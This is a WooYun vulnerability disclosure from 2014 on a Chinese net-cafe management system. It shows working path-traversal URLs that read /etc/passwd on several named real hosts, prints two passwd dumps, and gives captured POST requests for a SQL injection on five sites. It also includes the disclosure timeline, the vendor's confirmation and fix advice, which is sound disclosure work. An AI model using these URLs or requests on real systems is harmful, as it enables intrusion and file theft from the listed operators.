当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064470

漏洞标题:同联科技网吧信息安全管理系统SQL注入

相关厂商:同联科技

漏洞作者: sex is not show

提交时间:2014-06-11 11:59

修复时间:2014-09-09 12:00

公开时间:2014-09-09 12:00

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-11: 细节已通知厂商并且等待厂商处理中
2014-06-15: 厂商已经确认,细节仅向厂商公开
2014-06-18: 细节向第三方安全合作伙伴开放
2014-08-09: 细节向核心白帽子及相关领域专家公开
2014-08-19: 细节向普通白帽子公开
2014-08-29: 细节向实习白帽子公开
2014-09-09: 细节向公众公开

简要描述:

不知道重复没有,演示5个实例还是蛮累的。。

详细说明:

任意下载 重复:http://wooyun.org/bugs/wooyun-2014-060957
web程序名称:同联科技网吧信息安全管理系统
漏洞类型:任意文件下载
漏洞文件:cardload.jsp
漏洞参数:filename
关键词:intitle:同联科技
影响用户(来自百度):

http://tl-wangtong.cn/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://web18818.5udns.cn//cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://www.tl-dianxin.cn/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://www.tl-hh.cn/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://58.18.184.26/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://www.tl-lanzhou.cn/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://202.100.98.122/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://1.180.181.126/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855
http://202.100.85.25/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855


实例演示:
http://tl-wangtong.cn/cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
tl:x:1000:1000:tl,,,:/home/tl:/bin/bash
ntp:x:106:115::/home/ntp:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
pic:x:1001:1001::/home/pic:/bin/sh


实例2:
http://web18818.5udns.cn//cardload.jsp?filename=../../../../../../../../../../etc/passwd&maininfo_id=855

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
postfix:x:102:108::/var/spool/postfix:/bin/false
dovecot:x:103:110:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:105:111:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
landscape:x:106:115::/var/lib/landscape:/bin/false
tomcat6:x:107:116::/usr/share/tomcat6:/bin/false
tl:x:1000:1000:tl,,,:/home/tl:/bin/bash


http://(域名)/cardload.jsp?filename=/note/note_login.jsp&maininfo_id=855
filename=/WEB-INF/web.xml 或者其他存在的文件都可以、
#################################################################
再来看注入:
漏洞类型:POST型 SQL注入
漏洞文件: /note/note_check.jsp
漏洞参数:username
说明:注入这里如果用下面的包不能成功,请重新抓包,因为cookie中的JSESSIONID会过期
站点同上,直接实例演示了:
1.
http://tl-wangtong.cn/note/note_check.jsp
post数据包:

POST /note/note_check.jsp HTTP/1.1
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://tl-wangtong.cn:80/
Cookie: JSESSIONID=1DA2A2A97EB7A29522EA16A0CF02BDF4
Host: tl-wangtong.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
address=3137%20Laguna%20Street&email=sample%40email.tst&pasa=1&password=g00dPa%24%24w0rD&photo=1&rename=rndmdvpf&Submit=%cc%e1%bd%bb&username=vLUEsSOt


1.jpg


1.jpg


2.
http://web18818.5udns.cn/note/note_check.jsp
post数据包:

POST /note/note_check.jsp HTTP/1.1
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://web18818.5udns.cn/
Cookie: JSESSIONID=1DA2A2A97EB7A29522EA16A0CF02BDF4
Host: web18818.5udns.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
address=3137%20Laguna%20Street&email=sample%40email.tst&pasa=1&password=g00dPa%24%24w0rD&photo=1&rename=rndmdvpf&Submit=%cc%e1%bd%bb&username=vLUEsSOt


1.jpg


1.jpg


3.
http://www.tl-dianxin.cn/note/note_check.jsp
post数据包:

POST /note/note_check.jsp HTTP/1.1
Host: www.tl-dianxin.cn
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=E0522A4C3AD1D6A847C15D4CAA2D28D5
address=3137%20Laguna%20Street&email=sample%40email.tst&pasa=1&password=g00dPa%24%24w0rD&photo=1&rename=rndmdvpf&Submit=%cc%e1%bd%bb&username=vLUEsSOt


1.jpg


1.jpg


4.
http://www.tl-hh.cn//note/note_check.jsp

POST /note/note_check.jsp HTTP/1.1
Host: www.tl-hh.cn
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=2FF52BFC8469BC04CA779B1C70268C84
address=3137%20Laguna%20Street&email=sample%40email.tst&pasa=1&password=g00dPa%24%24w0rD&photo=1&rename=rndmdvpf&Submit=%cc%e1%bd%bb&username=vLUEsSOt


1.jpg


1.jpg


5.
http://58.18.184.26/note/note_check.jsp

POST /note/note_check.jsp HTTP/1.1
Host: 58.18.184.26
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=EC9AC95F98B0A454CA7D717F1C496A36
address=3137%20Laguna%20Street&email=sample%40email.tst&pasa=1&password=g00dPa%24%24w0rD&photo=1&rename=rndmdvpf&Submit=%cc%e1%bd%bb&username=vLUEsSOt


1.jpg


1.jpg


over!

漏洞证明:

见详细。

修复方案:

1. 下载参数过滤类型,限制跨目录
2.参数过滤防注入

版权声明:转载请注明来源 sex is not show@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-06-15 22:56

厂商回复:

与wooyun-2014-一并处置。

最新状态:

暂无